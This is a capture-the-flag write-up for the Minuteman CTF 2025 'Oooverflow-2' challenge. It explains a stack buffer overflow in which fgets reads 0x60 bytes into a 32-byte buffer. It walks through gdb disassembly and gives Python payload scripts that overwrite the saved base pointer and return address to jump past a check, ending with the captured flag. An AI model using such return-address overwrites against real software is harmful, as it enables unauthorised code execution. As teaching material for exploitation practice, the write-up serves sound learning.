Minuteman CTF 2025 Oooverflow-2
Problem Overview
The main function in this problem is very simple - it is just printed out text with a prompt for a response that gets copied into a buffer. However, looking at the source code, we can see that theres's a super convenient function called winner that checks to see if both arguments a = 0xcafebabe and b = deadbeef. If they don't, the function returns.
The Vulnerability
Just like the previous oooverflow challenge, fgets reads more than the buffer holds, this time, fgets reads 0x60 bytes and buf is a character array of 32 bytes, which allows for a user to overflow the buffer and rewrite some important registers, like the return value.
The Solution
Just like last challenge, we need to see how much to overflow by, and what our stack looks like using the disassembly in gdb:
(gdb) disas main
Dump of assembler code for function main:
0x00000000004019ca <+0>: push rbp
0x00000000004019cb <+1>: mov rbp,rsp
0x00000000004019ce <+4>: sub rsp,0x20
0x00000000004019d2 <+8>: lea rax,[rip+0x91687] # 0x493060
0x00000000004019d9 <+15>: mov rdi,rax
0x00000000004019dc <+18>: mov eax,0x0
0x00000000004019e1 <+23>: call 0x404ae0 <printf>
0x00000000004019e6 <+28>: lea rax,[rip+0x916e3] # 0x4930d0
0x00000000004019ed <+35>: mov rdi,rax
0x00000000004019f0 <+38>: mov eax,0x0
0x00000000004019f5 <+43>: call 0x404ae0 <printf>
0x00000000004019fa <+48>: lea rax,[rip+0x916f7] # 0x4930f8
0x0000000000401a01 <+55>: mov rdi,rax
0x0000000000401a04 <+58>: call 0x413990 <puts>
0x0000000000401a09 <+63>: lea rax,[rip+0x91750] # 0x493160
0x0000000000401a10 <+70>: mov rdi,rax
0x0000000000401a13 <+73>: mov eax,0x0
0x0000000000401a18 <+78>: call 0x404ae0 <printf>
0x0000000000401a1d <+83>: mov rdx,QWORD PTR [rip+0xbfcb4] # 0x4c16d8 <stdin>
0x0000000000401a24 <+90>: lea rax,[rbp-0x20]
0x0000000000401a28 <+94>: mov esi,0x60
0x0000000000401a2d <+99>: mov rdi,rax
0x0000000000401a30 <+102>: call 0x4134d0 <fgets>
0x0000000000401a35 <+107>: mov eax,0x0
0x0000000000401a3a <+112>: leave
0x0000000000401a3b <+113>: ret
End of assembler dump.
At offset <+4>, we see that the compiler moves rsp, the stack pointer, down by 0x20 to allocate space for the program. We can see our locals, which are located with negative offsets to the base pointer, rbp. In this program, we only have one at <+90>, where our buffer is moved into the rax general purpose register.
Given this, our payload should be 0x20 bytes of junk to fill up that allocated buffer space. The next value moving up the stack is rbp, so let's overwrite that with junk*. Now, we can overwrite ret! The real question is, what should we set it to? Looking at the winner function, we could just call the function itself, but we don't have arguments set to 0xcafebabe or 0xdeadbeef. We probably could find some way to execute shellcode that does that or create a rop chain to do that, but instead, let's try something simpler - jumping past that!
(gdb) disas winner
Dump of assembler code for function winner:
0x0000000000401928 <+0>: push rbp
0x0000000000401929 <+1>: mov rbp,rsp
0x000000000040192c <+4>: sub rsp,0x60
0x0000000000401930 <+8>: mov DWORD PTR [rbp-0x54],edi
0x0000000000401933 <+11>: mov DWORD PTR [rbp-0x58],esi
0x0000000000401936 <+14>: cmp DWORD PTR [rbp-0x54],0xcafebabe
0x000000000040193d <+21>: jne 0x4019c7 <winner+159>
0x0000000000401943 <+27>: cmp DWORD PTR [rbp-0x58],0xdeadbeef
0x000000000040194a <+34>: jne 0x4019c7 <winner+159>
0x000000000040194c <+36>: lea rax,[rip+0x916dd] # 0x493030
0x0000000000401953 <+43>: mov rsi,rax
0x0000000000401956 <+46>: lea rax,[rip+0x916d5] # 0x493032
0x000000000040195d <+53>: mov rdi,rax
0x0000000000401960 <+56>: call 0x4137d0 <fopen64>
0x0000000000401965 <+61>: mov QWORD PTR [rbp-0x8],rax
0x0000000000401969 <+65>: cmp QWORD PTR [rbp-0x8],0x0
0x000000000040196e <+70>: jne 0x40197f <winner+87>
0x0000000000401970 <+72>: lea rax,[rip+0x916c4] # 0x49303b
0x0000000000401977 <+79>: mov rdi,rax
0x000000000040197a <+82>: call 0x413990 <puts>
0x000000000040197f <+87>: lea rdx,[rbp-0x50]
0x0000000000401983 <+91>: mov rax,QWORD PTR [rbp-0x8]
0x0000000000401987 <+95>: lea rcx,[rip+0x916bd] # 0x49304b
0x000000000040198e <+102>: mov rsi,rcx
0x0000000000401991 <+105>: mov rdi,rax
0x0000000000401994 <+108>: mov eax,0x0
0x0000000000401999 <+113>: call 0x404a20 <__isoc99_fscanf>
0x000000000040199e <+118>: lea rax,[rbp-0x50]
0x00000000004019a2 <+122>: mov rsi,rax
0x00000000004019a5 <+125>: lea rax,[rip+0x916a4] # 0x493050
0x00000000004019ac <+132>: mov rdi,rax
0x00000000004019af <+135>: mov eax,0x0
0x00000000004019b4 <+140>: call 0x404ae0 <printf>
0x00000000004019b9 <+145>: mov rax,QWORD PTR [rbp-0x8]
0x00000000004019bd <+149>: mov rdi,rax
0x00000000004019c0 <+152>: call 0x413260 <fclose>
0x00000000004019c5 <+157>: jmp 0x4019c8 <winner+160>
0x00000000004019c7 <+159>: nop
0x00000000004019c8 <+160>: leave
0x00000000004019c9 <+161>: ret
End of assembler dump.
We can clearly see the values 0xcafebabe and 0xdeadbeef being compared, followed by a jump to the end of the program, causing it to exit immediately. The next instruction after those is at <+36>, so let's try that!
import sys
import struct
winner = 0x401928
winner_no_checks = winner + 36
payload = b'A'*0x28 + struct.pack('<Q', winner_no_checks)
sys.stdout.buffer.write(payload)
Program received signal SIGBUS, Bus error.
0x401965 in winner ()
Okay, so that is not optimal. Let's look at what instruction is at 0x401965:
mov QWORD PTR [rbp-0x8], rax
Seems like some issue with referencing (namely, writing to) values relative to rbp. Since rbp references the calling function's rbp, maybe we shouldn't overwrite it with junk values! Let's set our junk to 0x20 bytes, and choose a random, writable, readable address to set rbp to in our payload (I chose 0x4c4000).
import sys
import struct
winner = 0x401928
winner_no_checks = winner + 36
rbp = struct.pack("<Q", 0x4c4000)
payload = b'A'*0x20 + rbp + struct.pack('<Q', winner_no_checks)
sys.stdout.buffer.write(payload)
And...
-> oooverflow2 python3 sol.py | nc pwn.minuteman.umasscybersec.org 9123
My name is Key-per, and duly so, for I carry the key to this door,
but all is not how it appears, you see.
Or perhaps you do not see at all.
Perhaps the key is in you, child, but you cannot use your brawn here.
The door is magically sealed.
Enter your response challenger:
Congrats!
MINUTEMAN{1_th0ught_y0u'd_l00k_cut3_5tuff3d_1n_th4t_l0ck_ccd0341c5a6e8}
Interesting flag, but we got it!